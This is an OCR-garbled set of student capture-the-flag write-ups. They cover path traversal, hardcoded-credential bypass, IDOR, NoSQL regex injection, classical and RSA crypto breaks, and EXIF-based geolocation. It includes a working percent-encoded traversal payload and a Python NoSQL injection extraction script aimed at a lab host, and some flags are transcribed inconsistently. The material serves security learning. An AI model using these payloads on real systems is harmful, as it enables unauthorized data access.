nobody : x:65534:65534: nobody : /nonexistent: /usr/sbin/nologin
flag_finder:x:1601:1001: :/flag_is_here/:/bin/false

CTF - Anti Error - RichieObhasa

10:49 PM

10/10/2025

5. This told us the flag is in

Read the actual flag file (URL-encoded traversal)
Accessed the flag file via percent-encoded path:



& @ 103.87.66.26:30084/viewer ph; x S 103.87.66.26:30084/viewer.php X @ 103.87.66.26:30084/viewer ph X +

< > C A\ Notsecure  103.87.66.26:30084/viewer.php?file=%2e%2e%2{%2e%2e%2{%2e%2e%2fflag_is_here%2fflag%2etxt R School

Displaying: ../../../flag_is_here/flag.txt

cFOfSNUWVWItX333ZjFsdGxIM19hc E40Z3RjSHtFMHRDUMQOCNYzMzBYZDVUYX1M

CTF - Anti Error - RichieObhasa

80°F 10:54 PM
Partly cloudy o 10/10/2025

v & Encode flag.txt di URL ¢ Nie i % 64, RO G X | @ rail frech - Google Searc X

¢ > C % ht .com/ 0 2 bie 3
® ChatGPT 5 v 2, Bagikan

© Obrolan baru Encode flag.txt di url

Q Cari obrolan

& Perpustakaan Encode flag.txt untuk URL — beberapa cara cepat

Cod
© @iz Berikut beberapa bentuk encoding umum dan contoh bagaimana dipakai dalam URL.

39 GPT
1) URL (percent) encoding — standar

& Proyek
® Normal: flag.txt (tidak perlu di-encode karena huruf + . aman)

chalkn e Encode titik juga (kadang dipakai): flagk2Etxt

® Encode tiap karakter (paling “tersembunyi”): %66%6C%61%67%2E%74%78%74
Decode Base64 dan ROT13

Contoh URL:
Pecahkan kode terenkripsi onto

o |https://examp % TanyaChatGPT o 1.0 ¢yt

BtRERES T
® https://example.com/download?file=flagk2Etxt

Decode teks dengan metode ® | https://example.com/download?ile=%66%6CK61%67%2E%74%78%74

Terjemahkan base64

N

2) RacaRA (hiaca)l — carina dinaleai intulk malawatlkan nama fil,

Encrypt input string

Encode flag.txt di URL
+ Tanyakan apa saja

&) 80°F Y & = ) 10:53 PM
JParﬂycloudy B 5 GOMm GG © 8 DD 100005

viewer.php?file=%2e%2e%21%2e%2e%21%2e%2e%?2fflag_is here%?2fflag.txt




Response body contained an encoded string:
cFOfSnUwVWItX3J3ZjFsdGxIM19hcE40Z3RjSHtfMHRDUmQOcnYzMzByZDVuY X1M

6. Decode the flag

Paste the string into CyberChef.

First operation: From Base64 — produced an intermediate string.
Second operation: Rail Fence Cipher (key = 3) (decode/transposition) —
produced the plaintext flag:

v ® EncodeflagtxtdiURL X | W jviewer.php?fi X W From Base64, Rail Fence X
& C 25 https://gchq.github.io/CyberCt rom_B
Download CyberChef ¥ Last build: 2 months ago - Version 10 is here! Read about the new features here Options O About / Support o
Operations Recipe N-E N Input + O3 8 =
cFOFSNUWVWItX3I3ZjF sdGxIM19hcE40Z3RjSHtFMHRDUMQOcNYzMzByZDVUYX1M
fence From Base64 ~ 0
Rail Fence Cipher Encode Alphabet .
A-Za-z0-9+/=

Rail Fence Cipher Decode

Remove non-alphabet chars D Strict mode
AMF Encode

SfinciciplEnceds Rail Fence Cipher Encode ~0n

Bifid Cipher Encode Key Offset
3 ° e 64 = 1 Tr Raw Bytes <= CRLF (detected)

Output 5] rD m o

pu-flag{Cren_Jeb_wltH_p4tH_tR4v3r5al_Url3Nced3d}

Protobuf Encode

Set Difference

Index of Coincidence

Symmetric Difference

Favourites *

Data format CTF - AntiError - RichieObhasa

&) 80°F . = 10:57 PM
=) Partly cloudy DY o000

CommentCommentComment

Solved On: October 13th, 11:06:56 PM
Solved by: Muhammad Gale Adi Saputra

Flag Retrieved: RS

Challenges overview:



Key Findings:

Tools Used:

Solving Step-by-step:

1.Login Bypass via Hardcoded Credentials

loginForm.addEventListener('submit’, (e) => {
e.preventDefault();
const username = document.getElementByld('username').value;
const password = document.getElementByld("password').value;
if (username === "user' && password === '12345") {
sessionStorage.setltem('loggedIn’', 'true');



window.location.href ="/';
} else {
errorMessage.style.display = 'block’;

}

What Do You Think of My Drawing?

Leave your good comment or | will not give you

My Drawing The Inspiration

Leave a Comment
Username

Your name

Comment

e.g. It's purrfect!

2.Explore The Comment Feature & XSS

3.Locate Admin Endpoint & Secret Headers




~ HeaderName
~ TokenValue: SuperSecretAdminSessionToken

4.Retrieve The Flag Via Console



“ IR [0 Elements Console Memory Sources Network Performance Application > EW ST

What DO YOU Think of My DraWing? D Q| v @ S Default levels v Hss‘:ﬁu 1)1

Leave your good comment or | will not give you

My Drawing The Inspiration
R ey
.catch(error => console.error(’Error:, error));
» Promise {-
» GET http://103.
FLAG: ) {:

fetch(

, data))
*, error));

» Promise {:

» GET http://103. api/flag 403 (Forbidden)

FLAG: » { T You are not the admin!‘}

Leave a Comment

Username

1)

~then(r
~then(
-catch(err

Your nam

» Promise
FLAG: P {.

Comment

g. It's purrfect!







Saya-Dor

Solved On: October 10th, 2:11:59 PM
Solved by: Richie Obhasa
Flag Retrieved: pu-flag {brOk3n_4cc355s cOntrO1 1DOr ch41n}

Challenges overview

A simple ticketing web app with login/register and a “tickets” area. The prompt hints that
“not everything behaves as it should.” The goal is to interact with tickets and ticket actions
to unlock a flag page.

Key Findings

e IDOR/Broken Access Control: Missing authorization on state changes: The
Escalate and Close actions are available even when the ticket is already closed or not
owned by the user. The server accepts these actions and flips state.

o Flag gate is state-based: After interacting with ticket actions, visiting /flag reveals the
flag.

Tools Used

e Web browser (Chrome)
e Developer tools / “View Source” (optional)

Solving Step-by-Step



1. Register & Login
Go to /register, create any user, then login at /login.

esident University Batch -~ X @ Saya-DOR

[¢] A\ Notsecure  103.87.66.26:9689/login

Login Register

CTF - Anti Error - Richie Obhasa

Login

Username

Password

Login

No account? Register

2. Enumerate tickets (IDOR)
Visit /tickets/1 and increment the ID in the URL up to /tickets/13. You can view tickets
you don’t own (e.g., Ticket #13 — System Health Check) — clear sign of IDOR.

3. Abuse ticket actions
On any accessible ticket page (e.g., /tickets/13), click Escalate then Close (you can
toggle; the server allows it even when status shows “Closed”).

v [E@ CF President University Batch - X (_ Saya-DOR

< > X A\ Notsecure  103.87.66.26:9689/tickets/13 R School

Dashboard My Tickets New Ticket Flag Logout

Ticket #13

Title: System Health Check

Body: Routine monitoring triggered a system health check ticket. The monitoring platform recorded irregular spikes in CPU
usage across multiple backend servers. While service availability was not directly impacted, the metrics suggest an
underlying inefficiency or process consuming abnormal resources. The support team must validate whether these are
transient anomalies or symptoms of a deeper issue. Recommended next steps include reviewing system logs, identifying
processes linked to spikes, and confirming whether scheduled tasks or background jobs align with the timing. A preventive
investigation ensures stability and helps mitigate risks of performance degradation or service outages

Owner: support

Status: Closed

Escalate

CTF - Anti Error - Richie Obhasa

8:59 PM

10/15/2025

4. Retrieve the flag
After performing the actions above, open /flag.



You’ll see:
pu-flag{brOk3n_4cc355s cOntr01_1DOr_ch41n}

v [ CTF President University Batch - X @ Saya-DOR

& c /A Notsecure  103.87.66.26:9689/flag R School

Dashboard My, Tickets New Ticket Flag Logout

Flag

pu-flag{brok3n_dce355s_cOntr01_1DOr_chdln}

CTF - Anti Error - Richie Obhasa

@ &




Rental-Store

Solved On: October 13th, 11:20:37 PM
Solved by: Muhammad Gale Adi Saputra
Flag Retrieved: pu-flag{Supra MK4 XXE 1997 2JZ GTE}

Challenges overview

This challenge is a website for the car rental '"Elite Cars'' that has an online reservation
system. This website has security vulnerabilities that allow attackers to extract sensitive
data and gain code execution access on the server.

Key Findings

e Car rental web application with login, registration, and reservation featuresUses
MongoDB database (detected from Objectld and NoSQL operators)Includes image
upload feature for carsHas NoSQL Injection and File Upload Vulnerability

Tools Used

Web Browser (for manual exploration)
curl (for sending HTTP requests)

Python 3 with requests library (for automated NoSQL injection)
GNU Nano (for script editing)

Solving Step-by-Step
1. Initial Acces And Recconaise
Accessed the target at http://103.87.66.26:30085/.
Registered a new account (test123:test123) and logged in.

Explored the Fleet page and identified a search parameter vulnerable to NoSQL
injection.

2 NO SQL Injection to Extract Flag From DataBase

Developed a Python script to perform regex-based character-by-character
extraction of the flag from the database




import string

url = "http://103.87.66.26:30085/cars.php"
cookies = {"PHPSESSID": "d68a9b5814678825e235c8b79a36a7¢3"}

flag = 'pu-flag{’'
chars = string.ascii_lowercase + string.digits + " _-}"

for char in chars:
test_flag = flag + char
params = {'search|[$regex]': '*' + test_flag.replace('{', '\{').replace('}', "\}")}
r = requests.get(url, params=params, cookies=cookies)

if "Available" in r.text:
flag = test_flag
print(''Progress: " + flag)
if flag.endswith("}"):
break






Cryptography

TripleThreatSolid

Solved On: October 12th, 12:09:42 PM
Solved by: Richie Obhasa
Flag Retrieved: pu-flag{4re-yOu-5uR3-Cyb3r-S3curlty-15-345y-nOw?}

Challenge Overview

The encrypted text was provided in a .txt file (enc_flag.txt / chall.py).
At first glance, the data wasn’t plain text — the first few characters were unreadable.
The objective was to reverse the transformations and obtain the flag in the format pu-flag{...}.

Based on the CyberChef screenshots, the successful transformation involved ROT47 — Base58
(or Base64) decoding.

The result wasn’t the flag directly, but a hint message pointing toward a hidden key in a Discord
channel — likely inside one of the moderator profiles.

Key Findings

Not ROT13. Applying ROT13 didn’t work.
ROT47 transformed the text into something resembling Base58/Base64. After decoding
it, the output was binary data or another ciphertext — not immediately readable.

e The CyberChef output revealed a clear text message:
“The Key is hidden somewhere in the discord channel. Perhaps in one of the
moderators?

e This indicated that another encryption layer existed (possibly Vigenére, XOR, or AES)
and that the key was hidden somewhere on Discord.

e By examining the Discord moderator profiles (Farah and Devina), the badge “Python
Slayer” on Devina’s profile appeared to be the most likely key.



Vulnerability Analysis
Although this was a CTF challenge, we can treat it like a vulnerability scenario:

1. Sensitive information hidden in metadata/profile — The decoded message directs
players to Discord, implying that an encryption key was stored publicly. In a real
environment, this would be poor key management.

2. Multiple obfuscation layers without true cryptographic strength — ROT47 + Base58
+ Vigenere only provides “security through obscurity.”

3. Weak secret exposure — If the encryption key is a visible profile label (e.g.,
“PythonSlayer”), then the entire encryption is trivial to break.

Severity (if found in a real system): Medium — High, depending on context. Exposing
encryption keys publicly would lead to immediate compromise.

Tools Used

o CyberChef — to test transformations (ROT47, Base58/Base64, Auto-Bake).
e ChatGPT — for running scripts and inspecting outputs.
e Discord — for locating the key in moderator profiles.

Exploitation — Step-by-Step

1. Obtain the ciphertext (enc_flag.txt or the provided challenge file).

3) Ringkasan kesimpulan sementara

+ Bukan ROT13 (tidak cocok).

* ROT47 adalah transformasi yang mengubah teks menjadi sesuatu yang tampak seperti Base64 — jadi
kemungkinan transformasi yang diterapkan ke file adalah:
(original) -+ ROT47 — Base64 — (hasil biner).

+ Setelah decode ROT47—Baseb4 kita mendapatkan data biner yang nampaknya terenkripsi atau
terkompresi dengan format non-standar, atau mungkin ciphertext yang memakai kunci

(AES/XOR/Vigenére) sehingga tidak langsung bisa terbaca.

2. Initial analysis:
o Tried ROT13 — not suitable.

o Tried ROT47 — produced text that looked like Base58/Base64.
Thus, I applied ROT47 — Base58 decoding (as seen in the CyberChef



screenshot).

3. Use CyberChef recipe:
o ROT47 (Amount 47)

o From Base58 (or From Base64 depending on the output format)
Output message:

Recipe oams Input +0O038 =
on %+@Bsq+r | UVEGATIDI7K{$"4c5A96987bEBEH>CBBB ) I9%  W26hv ' @G | 6 ' u+FU4Er#3  2A<%* CABhZ++yF
ROz = wGb## (gCC (A" zas (29Bvy | 9yzHt{+v@ou! ¢
Amount
47
e 117 = 2 Tr Rew Bytes € LF
From Base58 on e
Output BO®:
Alphabet
123456789ABCDEFGHIKLMNPQRSTUVWX...

The Key is hidden somewhere in the discord channel. Perhaps in one of the
moderators?

STEP 8 BAKE! CTF - Anti Error - Richie Obhasa
\\ Auto Bake

me 85 = 1

@ 125 Tr Raw Bytes & LF

“The Key is hidden somewhere in the discord channel. Perhaps in one of the
moderators?”

5. Search for the key on Discord:

&% @ d@D

Devina - Moderator
bR

# KATANA #

and Fiverr

o Checked profiles of moderators.
o Devina’s profile had the badge “Python Slayer.”
O

This seemed like the intended encryption key.

6. Decrypt using GPT:



o Key used: PythonSlayer.

coba kerjakan dari note yang saya sudah pecahkan

Selesai berpikir selama 1m 38s

pu-flag{dre-yOu-5uR3-Cyb3r-S3curlty-I5-345y -now?}

7. Final Result:
Running the script with the key PythonSlayer revealed the final plaintext flag:
pu-flag {4re-yOu-5uR3-Cyb3r-S3curlty-15-345y-n0w?}

CyberChef screenshot: Shows ROT47 + Base58 decoding and the message hint.
Discord screenshots: Moderator profile (Devina) with “Python Slayer” badge,
confirming the key source.

e Final screenshot: Displays the decoded flag.

Note The Python snippet above can reproduce the final decryption if you provide the
ROT47—Base58 intermediate output.

Impact and Severity
If such a pattern existed in a real-world system:

e Impact: High — anyone with access to public metadata could decrypt sensitive data.

e Severity: Medium to High — depends on exposure level of the key and data sensitivity.

Conclusion & Recommendations



Conclusion:

The challenge relied on multi-layered obfuscation (ROT47 — Base58 — Vigenére) and
an external clue on Discord. The encryption key was found as a moderator’s profile label,
and decrypting with it produced the final flag:
pu-flag{4re-yOu-5uR3-Cyb3r-S3curlty-15-345y-nOw?}

Recommendations (for real systems):
o Never store or display encryption keys publicly
o Use proper key management (KMS or environment variables).
o Avoid relying on obscurity-based encryption.
o Protect metadata and user profiles from leaking sensitive info.



shouldBeEz

Solved On: October 10th, 8:57:37 AM
Solved by: Richie Obhasa
Flag Retrieved: pu-flag{1tz-E45Y-r1ght?-0r-iS-1t-not?}

Challenges overview

This was a cryptography/forensics style CTF challenge. The challenge provided two files: a
small Python helper (prob.py) and an encrypted.txt containing a list of integer values. The goal
was to recover the original message / flag that had been encrypted into those integers.

Key Findings

e The encrypted.txt values are small integers that look like the result of a simple binary

operation (not e.g., a block cipher output or base64).

Inspecting prob.py revealed the encryption procedure: each encrypted entry is the result
of XOR between a single plaintext byte and a repeated numeric value derived from a
large integer n (specifically s =n * n, i.e. a square).

Because the numeric value s is the same for every byte, the encryption effectively is a
repeated-key XOR of a single integer against each plaintext byte — and s has predictable
mathematical structure (a perfect square), which enables a brute-force / filter attack.

A simple per-byte brute force that checks for the mathematical property (whether E * b is
a perfect square) yields the unique plaintext byte for each ciphertext integer.

Vulnerability Analysis

Design / cryptographic weaknesses found

1.

Use of the same numeric mask for every byte (key reuse): Reusing the same integer s
for every byte reduces the scheme to a one-byte repeated-key XOR, which is trivially
attacked with statistical or property-based checks.

Predictable key structure (square): The mask is s = n*n (a perfect square). This
predictable mathematical property makes a validation test (is value a perfect square?)
available to an attacker.

Lack of standard cryptographic primitives: The scheme is a homebrew XOR-based
scheme instead of a vetted encryption primitive (AES, ChaCha20). Homebrew schemes
are fragile.



4. No integrity/authentication: Even if confidentiality were partially preserved, there is no
MAC or signature; ciphertext tampering would be undetectable.

Practical impact if used in a real system

e An attacker who obtains ciphertext plus a clue about the mask structure can fully recover
plaintext (including secrets/flags/passwords).

e For sensitive data, this would lead to information disclosure and likely privilege
escalation or data exfiltration in a real system.

CVSS-like severity (informal): High — broken confidentiality due to weak key use and
predictable key structure.

Tools Used
o ChatGPT — for running scripts and inspecting outputs
Exploitation Step-by-step

1. Decrypth Using ChatGPT

B encrypted txt
Dokumen

IR prob.py
O Y Python

pecahkan kode ini

Selesai berpikir selama 33s >
Selesai berpikir selama 8s >

Berhasil — isi pesan terenkripsi sudah saya pecahkan.

Hasil (flag / pesan):

pu-flag{1tz-E45Y-right?-0r-iS-1t-not?}

Cara saya pecahkan (singkat): dari prob.py file, setiap angka di encrypted.txt adalah hasil XOR antara satu
byte asli ¢ dan sebuah bilangan 's = n*n (kuadrat prima besar). Jadi untuk setiap entri saya coba semua
kemungkinan byte ¢ (0-255) dan periksa apakah E ~ ¢ adalah kuadrat sempurna — hanya satu nilai ¢
yang membuatnya menjadi kuadrat sempurna, itu adalah byte asli. Implementasi dan file yang dipakai:

O prob [ enarypted P . P

Mau saya kirim juga skrip dekkripsi (Python) yang saya pakai agar bisa kamu jalankan sendiri




2. Run the script. It recovers the plaintext string:

pu-flag {1tz-E45Y-r1ght?-0r-iS-1t-not?}

Impact and Severity

e Confidentiality breach: The scheme leaks plaintext easily; any sensitive tokens or
secrets encrypted this way would be exposed.

e Exploitability: Low required sophistication — a short script and a mathematical test
suffice.

e Remediation recommendations:
o Use a standard authenticated encryption scheme (e.g., AES-GCM,
ChaCha20-Poly1305).
o Never reuse the same key/nonce combination across multiple plaintext blocks or
messages.
Avoid home-grown cryptography.
Add integrity checks (MACs or AEAD) so ciphertext tampering is detected.

Appendix — Short notes and references

e The root cause: XORing bytes with a repeated numeric mask that is a perfect square
provides a testable property (perfect square) for each byte.

e If you want, I can also attach the exact prob.py and encrypted.txt parsing & run the
decrypt script live so you can reproduce the steps locally.



coRSAiIr

Solved On:October 13th, 12:34:17 PM
Solved by: Richie Obhasa
Flag Retrieved: pu-flag{e v41U3 shOULD nOT b3 sm4LL}

Challenges overview

The challenge is a textbook RSA encryption where the public exponent is E = 3. The provided
files show the encryption script (which generates N, encrypts a plaintext m into C) and a text file
with the resulting N, C, and E. The script intentionally ensures m"3 < N before computing C, so
the ciphertext is actually the raw cube (m”3) rather than a reduced residue modulo N. This makes
the ciphertext trivially breakable by taking the integer cube root of C.

Key Findings

The encryption used is textbook RSA (no padding) with a very small exponent e = 3.
The generator script checks and enforces the property m”e < N before producing C, so C
=m"3 (no modular wrap). This is visible in the generator loop.

e Because C is a perfect cube of the plaintext integer, recovering m reduces to computing
the integer cube root of C. Converting that integer back to bytes reveals the plaintext (the
CTF flag).

Vulnerability Analysis

1. Small public exponent without padding (Textbook RSA)
o Using e = 3 and no padding (e.g., OAEP) allows low-exponent attacks when
plaintext is small such that m”~e <N.
o Impact: Plaintext recovery (complete break of confidentiality) if m~e < N. This is
precisely what happened.

2. Lack of plaintext size check / improper use of RSA
o The system allowed encrypting a small m with e = 3 without applying proper
padding or checking that m”e >= N. The script actually #ries to ensure m™e <N
which made the vulnerability exploitable.






3. Deterministic encryption
o No randomness or padding -> same plaintext always produces same ciphertext.

Severity: High — an attacker can recover plaintext directly (confidential data disclosure). If used
in a real system this could expose secrets, authentication tokens, or flags.

Tools Used

e ChatGPT — for running scripts and inspecting outputs

Exploitation Step-by-step

1. Decrypth Using ChatGPT

] chall (2).py
@ Python

chall (2).txt
Dokumen

runn ini jadi apa ]

Untuk men-decrypt hasil ini, jalankan di Python:

python (9 salin kode

gmpy2

fromhex(hex(m)[2:]1))

Jika exact bemilai True , maka kamu akan mendapatkan plaintext asli (kemungkinan flag CTF).

Apakah kamu ingin saya bantu menjalankan dekripsi-nya dan menampilkan hasil teksnya?

@6 Py -

99 Tanya ChatGPT
Berhasil — plaintext terdekripsi!

Flag: pu-flag{e v4lU3 shOulD_nOT b3 sm4ll}

3. Run the script. It recovers the plaintext string.



pu-flag{e v4IU3 shOULD nOT b3 sm4LL}

Impact and Severity

o Confidentiality: Full plaintext recovery — attacker obtains the secret/flag.

o Integrity/Authentication: If the same method were used to encrypt credentials or tokens,
these could be recovered and used to impersonate users.

e Recommendation: Always use proper RSA padding (e.g., RSA-OAEP) and avoid small
public exponents without appropriate countermeasures. Additionally, validate input size
so that m”e is not trivially less than N. Consider e = 65537 with padding as a standard
practice.

Additional notes / references

e The vulnerability demonstrated here is a classic low-exponent RSA failure when m”e <N
and no padding is used. The generator script intentionally created those conditions,
making it an instructive CTF challenge.



eXORcise

Solved On: October 13, 2025
Solved by: Richie Obhasa
Flag Retrieved: pu-flag {xOR-1s-v3ry-fUn-4-L34rn1nG-CryPtOgr4phY}

Challenges overview

A capture-the-flag crypto challenge where an encrypted message is provided inside chall.txt
(Base64-encoded). An additional hint file (note.txt) contains a short instruction that points to a
sequence of agent/character names which form the XOR key. The goal is to decode the Base64,
then XOR-decrypt the result using the derived key to recover the flag.

(Reference: the hint contents in note.txt used during analysis).
Key Findings

e chall.txt is Base64 text that decodes into binary ciphertext (not a simple substitution).

e note.txt contains a short, human-readable hint that lists agent/character names to derive
the XOR key.

e A simple repeating-key XOR was used. Once the correct key (concatenation of the listed
names, normalized to uppercase/no spaces) was used, the plaintext revealed a leetspeak
flag string which we normalized to a readable flag.

Vulnerability Analysis

e Weak/unsalted symmetric scheme: Using a static, guessable XOR key (or deriving it
from an obvious hint file) is insecure. An attacker who finds the hint can fully decrypt
sensitive content.

o Information leak: The presence of a human-readable note.txt with a clear mapping to the
key exposes the secret.

e Deterministic algorithm: XOR with a repeating key reveals patterns and can be
brute-forced or known-plaintext attacked easily.

Impact / Severity: In the context of a CTF, this is a low-to-medium difficulty crypto challenge.
In a real system, using this technique to protect secrets would be high risk (sensitive data could
be trivially recovered), rated high severity depending on the data protected.



Tools Used

CRPTYII — For decrypt the note.txt

ChatGPT — for running scripts and inspecting outputs
Google lens —Search the character

Instagram

Discord — For hint

Exploitation — step-by-step

1. Unzip and inspect files: open the provided challenge bundle (chall.zip) and examine

aipsi fle X | ¥ chippertext - Yahoo Search Caesar Cipher to Text - cryptil v X

CRYPTII =

cryptii is an OpenSource web application under the MIT license where
you can encode and decode between different format systems. This
happens fully in your browser using JavaSeript, no content will be
sent to any kind of server. Please note that the encryption methods

offered below are very basic and therefore not considered as secure.

CTF- Anti Error - Richie Obhasa

INTERPRET AS CONVERTTO
CAESAR CIPHER v TEXT v
Shift —_—— Transform [None ~
Bh. Upn'h apeide: MS. FAY'S LAPTOP:
Gts wpxgts wjcitg RED HAIRED HUNTER
spgz qajt hbdztg DARK BLUE SMOKER
ejgeat kpbexgt PURPLE VAMPIRE

BLUE HAIRED SNIPER
GREEN BEANTE SENTINEL

qajt wpxgts h
vgtte gtpext htei

2

chall.txt and note.txt. K

2. Decode Chipper Text: note.txt holds decode it to obtain ciphertext bytes.

3. Construct key: — the correct one used during solving produced the plaintext below.
MIRAOMENREYNACAITLYNKILLJOY



Google

Bagikan

Semua K Produk P

Semua K ersis. Produk PR 4 Ringkasan Al [\ -2

4 Ringlasan Al Gambar tersebut menampilkan karakter Caitlyn
Kiramman dan Maddie dari serial animasi Arcane.
Hubungan antara Caitlyn dan Maddie
digambarkan sebagai hubungan yang saling
percaya, di mana Maddie menjadi sumber

kenyamanan dan kehangatan bagi Caitlyn. &

Karakter dalam gambar adalah Mira, seorang
visual dan penari utama dari grup K-Pop fiksi
Huntr/x dalam film animasi K-Pop: Demon
Hunters. &

is there a character
in the game that you usually notice?
)/ 1
Ma'am, this is it, can | get a
hint?

Ma'am, this is it, can | get a hint?

L % KAD
Mix and match, not all game

4. XOR decrypt Using ChatGPT: perform repeating-key XOR of the ciphertext with the
key bytes.



x | W e x
2 hitps//chatgpt.com/c/6Becacc

ChatGPT 5

MIRAOMENREYNACATLYNKILLIOY

Nice — dengan kunci HIRADHENREVHACALTLYWKELLIOY. h ersih.

Hasil langsung (plaintext)

pu-flag(xon-1: -2-L34rn1nG-CryPtographY)

Token yang diekstrak

eraphY

yang lebih readable (transformasi)

y): X0

n flag yang bisa kamu submit

0k

© Mendet X W opber

25 hitps://chatgptcom/c/68ecaecT-ealc-8324-beac-61026dfedba

(0 ChatGPT 5

— selesai. Saya pakai s file c
menyelesaikan ini

Apa yang saya lakukan (singkat)

&

Final Flag:
pu-flag{xOR-1s-v3ry-fUn-4-L34rn 1nG-CryPtOgrd4phY }

Impact and Severity (real world)

If a developer used the same approach to protect private keys, credentials, or PII, an
adversary who locates the key/clue could recover all protected data.

Repeating XOR without additional protections (IVs, salts, authenticated encryption) is
insufficient for protecting secrets.

Recommendation: use standard, vetted cryptographic primitives (AES-GCM, libsodium,
etc.) and ensure keys are not derivable from shipped files or readily available hints.






OSINT

FINDMYAUNT

Solved On: October 10th, 9:23:28 PM
Solved by: Diah Safitri Pane
Flag Retrieved: pu-flag{Avon WRI11-8UT _Stratford-upon-Avon_3-Sheep-St}

Challenges overview:
The Challenges is about finding someone aunt that is gone to the river,she just give two picture
to her nephew,which is lead me to River Avon.

Key Findings:
At first I thought is easy but then I struggle 6 hours more but its good tho, it makes me
challenged.

Tools Used:
-Exiftool
-Gmaps

Solving Step-by-step:



1. First I put the image in EXIFTOOL to get the coordinate.

Dependent Image 2 Entry Number
Image Width

Image Height
Encoding Process
Bits Per Sample
Color Components

Y Cb Cr Sub Sampling
Time Stamp

MCC Data

Gain Map Image
Aperture

Image Size
Megapixels

Scale Factor To 35 mm Equivalent:

Shutter Speed
Create Date

i Date/Time Original

Modify Date
Thumbnail Image
GPS Latitude

GPS Longitude

MP Image 2
Circle Of Confus
Field Of View
Focal Length

GPS Position
Hyperfocal Distance
Light Value

ExifTool Version Number

C:\Users\ASUS\Downloads\ex X +

MP Image Start

Dependent Image 1 Entry Number
Dependent Image 2 Entry Number
Image Width

Image Height

Encoding Process

Bits Per Sample

Color Components

Y Cb Cr Sub Sampling

Time Stamp

MCC Data

Gain Map Image

Aperture

Image Size

Megapixels

Scale Factor To 35 mm Equivalent:

Shutter Speed
Create Date
Date/Time Original
Modify Date
Thumbnail Image

GPS Latitude

GPS Longitude

MP Image 2

Circle Of Confusion
Field Of View

Focal Length

GPS Position
Hyperfocal Distance
Light Value

8

: 2025:08:20

: 8

© 2025:08:18
: 202 8:18
© 2025:08:18

)
: 4oeoeoe

3000
Baseline DCT, Huffman coding

3

: YCbCr4d:2:0 (2 2)

2025:08:21 00:49:56.795+07:00

United Kingdom (23u4)

(Binary data 95883 bytes, use -b option to extract)
: 1.8

: 4o00x3000

12.0

4.3

1/1916
2025:08:20 18:49:56.795

18:49:56.795+01:00

2025:08:20 18:49:56.795+01:00

(Binary data 56969 bytes, use -b option to extract)
52 deg 7' 51.13" N

1 deg 54' 16.48" W

(Binary data 95883 bytes, use -b option to extract)

: 0.007 mm
: 76.1 deg

5.4 mm (35 mm equivalent: 23.0 mm)
52 deg 7' 51.13" N, 1 deg 54' 16.48" W

:2.30m

14.6

= C:/Users/ASUS/Downloads/exiftool-13.38_6U/exiftool-13.38_64/1000016174.IPG

13.38

© 6242734
)

O]

: 4oeoe

3000
Baseline DCT, Huffman coding

3

: YCbCrd:2:0 (2 2)
: 2025:08:19 00:58:18.558+07:00
: United Kingdom (234)

(Binary data 116014 bytes, use -b option to extract)
1.8

: 4O0Ox3000

12.0

4.3

1/180

18:58:18.558

18:58:18.558+01:00

18:58:18.558+01:00

(Binary data 59709 bytes, use -b option to extract)
52 deg 7' 50.80" N

1 deg 54' 17.01" W

(Binary data 116014 bytes, use -b option to extract)

: 0.007 mm

1 deg
mm (35 mm equivalent: 23.0 mm)

And that 1s the coordinate that I found.



2. And I put the coordinate in GMAPS, adn found this River Avon.

Telusuri Google Maps Q © ¥§ Restoran  leq Hotel || (6] Rekomendasi aktivitas ~ f Museum @ Transportasiumum = [ Ap > & Q
£
z
[}
Z
S
©
+

: CIEAntilErrorsDiahiSafitri[Bane)
€ Lapisan

And this is the first flag in the pu-flag.
3. . After the river finally found,the instruction says to find the hotel and I got hint from

the Lecturer (aka Mam Farah),she told me the fancy hotel means something “kings”,so I

start to search in around River Avon which one is “Kings” theme hotel, and I found
Karma Salford Hall.

2, 9
[0 Hotel di sekitar Y| Restoran (3] Rekomendasi aktivitas Y Bar = & Kopi = [ Apotek F> Hi Q

&

Karma Salford Hall

©) sassy Lashes by CaseyJay

S
&
X
&
Karma Salford Hall
43 (640) - Hotel bintang 3
Ringkasan Harga Ulasan Tentz
Karma Salford Hall
<4
@ o ® < é&b ) bp pulse Charging Station
s
Rute Simpan Di Sekitar Bagikan ,5‘ Moo s @
(=]
len Periksa ketersediaan
Bandingkan harga Hanya bebas biaya O
pembatalan
Checkin / Check out 2
Min, 26 Okt ™ sen, 270kt R
v v

Hubungi propertiinfuntuk mefihat tarif dan . CTEANtErrorEDiahiSafiti[Bane)

ketersediaan

“Veshay, .
<

Kunjungi situs Google Maps

Datapeta ©2025  Indonesia  Persvar

After that the instruction says that his aunt will go to another city to eat and drink wine
while at it, so me,myself and I start to search for the restaurant. So I found Loxleys in



Stratford upon avon. After hours of search.

= Loxleys Restaurant & Wine Bar ¥1 Restoran terdekat §3lzr.l Hotel  [@) Rekomendasi aktivitas = ¥ Bar | & Kopi  f Bawapulang >
\ — e
f“’
H &
Disimpan 4
G Coffee Clouds

)
Terbaru

Tudor World @

@ Loxleys Restaurant & Wine Bar

Pulay 47 (1.607) - 88
Britania.. Restoran - &

SheepiSt) (B

j-upan-Av

-,' Ringkasan Menu Ulasan Tent

Kota

Bekasi .. ~ F
© - ¢ 8 <
h Rute Simpan  DiSekitar  Kirim ke Bagikan
ponsel
68 Royal
Hospital.
+ Makan di tempat - X Bawa pulang 3

[ 7] % Pesan antar

Southe...

@ 3 Sheep St, Stratford-upon-Avon CV3T7 6EF,
Inggris Raya @ |

@ Buka - Tutup pukul 23.00 ~ +
O e
Reservasi G2 —t
Dapatkan ﬁ antisble 6o P ? {
aplikasi Cpeisbiecily QiLspegt Google Maps | &
Terr - e

Datapeta 2025 Indonesis  Persyaratan  Privasi 0




MYOBSESSION

Solved On: October 12th, 9:47:28 AM
Solved by: Diah Safitri Pane
Flag Retrieved: pu-flag(nOt-yOur-Ordindry-Qu33n)

Challenges overview:
The challenge is about finding a hidden code in some images that is in Caitvyn Instagram
account. I need to max my phone brightness with this.

Key Findings:
The interesting part is,my eyes still closed but eyes forced to open because it requires max
brightness of my phone. Thats interesting. :)

Tools Used:
-Instagram

Solving Step-by-step:

1. This is the instruction,so I need to find this in every pics that Caitvyn upload on her IG

Challenge 38 Salves

MyObsession
150

@caitvyne
N I'\rJ'Yr'L-E;l:Ti1‘-:.~"|--:I| SEATE (FEne
* Red LoverGirlin style

s She likes to slice

= While in the middie of a lagoon

* Keeping themselves full

Author: FY

‘ Submit

2. So I immediately go to her instagram and scroll which one that the instruction means,because
there is a lot of “Red girl” image in Caitvyne account,and then I found this.



n caitvyne

7 September

D1} 3V

£® Disukai o eh keiranevrada

caitvyne This angel & & 3 ®

